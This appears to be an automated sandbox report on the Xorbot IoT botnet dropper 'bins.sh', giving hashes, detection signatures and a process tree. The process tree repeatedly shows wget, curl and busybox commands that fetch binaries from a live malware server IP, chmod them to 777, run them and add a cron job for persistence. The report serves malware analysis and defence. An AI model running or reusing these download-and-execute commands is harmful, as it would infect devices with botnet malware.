Analysis

  • max time kernel
    123s
  • max time network
    145s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 02:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9d1e0ce2335246f6bd57f886034a8b65

  • SHA1

    d8d5b5dae0e66bc74b700b8e66e96cd2deab2fba

  • SHA256

    915aef94b69db1c600838fe5e412a043bfba33eb88c97660c45203dd41567d1c

  • SHA512

    5d0ed44420c27385e495c4b21976494963b54854c18509d808ebb6940e5a821c6209f8a2e39e62f02cf124665c2ea1fb842ee7e03ff7fe78e08b661d3fb14763

  • SSDEEP

    192:1tE4IZAaZ/2QAQTX5+RbOnE4IZAaIhQAQTXmO7:1tE4IZxZ/YRbmE4IZxIw

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (891) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          ./Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:741
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:743
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:744
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:745
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:746
              • /bin/rm
                rm Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
                2⤵
                  PID:748
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                  2⤵
                    PID:751
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    2⤵
                      PID:752
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                      2⤵
                      • Writes file to tmp directory
                      PID:833
                    • /bin/chmod
                      chmod 777 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                      2⤵
                      • File and Directory Permissions Modification
                      PID:834
                    • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                      ./4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                      2⤵
                      • Executes dropped EXE
                      PID:835
                    • /bin/rm
                      rm 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                      2⤵
                        PID:837
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                        2⤵
                          PID:838
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          2⤵
                            PID:839
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                            2⤵
                            • Writes file to tmp directory
                            PID:840
                          • /bin/chmod
                            chmod 777 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                            2⤵
                            • File and Directory Permissions Modification
                            PID:841
                          • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                            ./ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                            2⤵
                            • Executes dropped EXE
                            PID:842
                          • /bin/rm
                            rm ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                            2⤵
                              PID:848
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                              2⤵
                                PID:849
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                2⤵
                                  PID:850
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:851
                                • /bin/chmod
                                  chmod 777 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:853
                                • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                  ./FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                  2⤵
                                  • Executes dropped EXE
                                  PID:854
                                • /bin/rm
                                  rm FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                  2⤵
                                    PID:856
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                    2⤵
                                      PID:857
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                      2⤵
                                        PID:858
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:859
                                      • /bin/chmod
                                        chmod 777 xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:860
                                      • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                        ./xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                        2⤵
                                        • Executes dropped EXE
                                        PID:861
                                      • /bin/rm
                                        rm xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                        2⤵
                                          PID:864
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                          2⤵
                                            PID:866
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                            2⤵
                                              PID:867
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:869
                                            • /bin/chmod
                                              chmod 777 uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:877
                                            • /tmp/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                              ./uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                              2⤵
                                              • Executes dropped EXE
                                              PID:878
                                            • /bin/rm
                                              rm uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                                              2⤵
                                                PID:880
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                2⤵
                                                  PID:882
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                  2⤵
                                                    PID:884
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:886
                                                  • /bin/chmod
                                                    chmod 777 IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:898
                                                  • /tmp/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                    ./IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:899
                                                  • /bin/rm
                                                    rm IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                                                    2⤵
                                                      PID:901
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                      2⤵
                                                        PID:903
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                        2⤵
                                                          PID:905
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:907
                                                        • /bin/chmod
                                                          chmod 777 jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:967
                                                        • /tmp/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                          ./jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:968
                                                        • /bin/rm
                                                          rm jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                                                          2⤵
                                                            PID:970
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                            2⤵
                                                              PID:971
                                                            • /usr/bin/curl
                                                              curl -O http://216.126.231.240/bins/cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                              2⤵
                                                                PID:972
                                                              • /bin/busybox
                                                                /bin/busybox wget http://216.126.231.240/bins/cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:973
                                                              • /bin/chmod
                                                                chmod 777 cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:974
                                                              • /tmp/cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                                ./cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                                2⤵
                                                                • Executes dropped EXE
                                                                PID:975
                                                              • /bin/rm
                                                                rm cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x
                                                                2⤵
                                                                  PID:977
                                                                • /usr/bin/wget
                                                                  wget http://216.126.231.240/bins/0jHd2pEVzy2dRxReqVEmSY8VhP7oTnTD9F
                                                                  2⤵
                                                                    PID:978

                                                                Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                                        SHA1

                                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                        SHA256

                                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                        SHA512

                                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                      • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e

                                                                        Filesize

                                                                        127KB

                                                                        MD5

                                                                        89077b7bd4bcafca7713be43635c4862

                                                                        SHA1

                                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                        SHA256

                                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                        SHA512

                                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                      • /tmp/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK

                                                                        Filesize

                                                                        98KB

                                                                        MD5

                                                                        5141342d0df8699fa32a6b066a0c592e

                                                                        SHA1

                                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                        SHA256

                                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                        SHA512

                                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                      • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                                        SHA1

                                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                        SHA256

                                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                        SHA512

                                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                      • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue

                                                                        Filesize

                                                                        119KB

                                                                        MD5

                                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                        SHA1

                                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                        SHA256

                                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                        SHA512

                                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                      • /tmp/cnJvGFrguSGn00sm6fOKyLzXctntKcIt1x

                                                                        Filesize

                                                                        177KB

                                                                        MD5

                                                                        786d75a158fe731feca3880f436082c0

                                                                        SHA1

                                                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                        SHA256

                                                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                        SHA512

                                                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                      • /tmp/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY

                                                                        Filesize

                                                                        99KB

                                                                        MD5

                                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                                        SHA1

                                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                                        SHA256

                                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                                        SHA512

                                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                                      • /tmp/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj

                                                                        Filesize

                                                                        117KB

                                                                        MD5

                                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                                        SHA1

                                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                                        SHA256

                                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                                        SHA512

                                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                                      • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                                        SHA1

                                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                        SHA256

                                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                        SHA512

                                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                      • /var/spool/cron/crontabs/tmp.LQPU2Z

                                                                        Filesize

                                                                        210B

                                                                        MD5

                                                                        66de86352c52ed4cc3ebd9f2a911b55d

                                                                        SHA1

                                                                        2d6cac7c90fbce8a054e40c01e7e114a7488658b

                                                                        SHA256

                                                                        cb465f0734accda12801a187d2f1cf9a445aa7c515dab57840d0ecb55abca0c3

                                                                        SHA512

                                                                        be903be0336bcc11006e2b903de0c3face84098d0b0d4943e72cf43a12add9d0cd06635228c28c83df595abd57868b5bc9649bc15f97ca23a0a31ac9f905edc6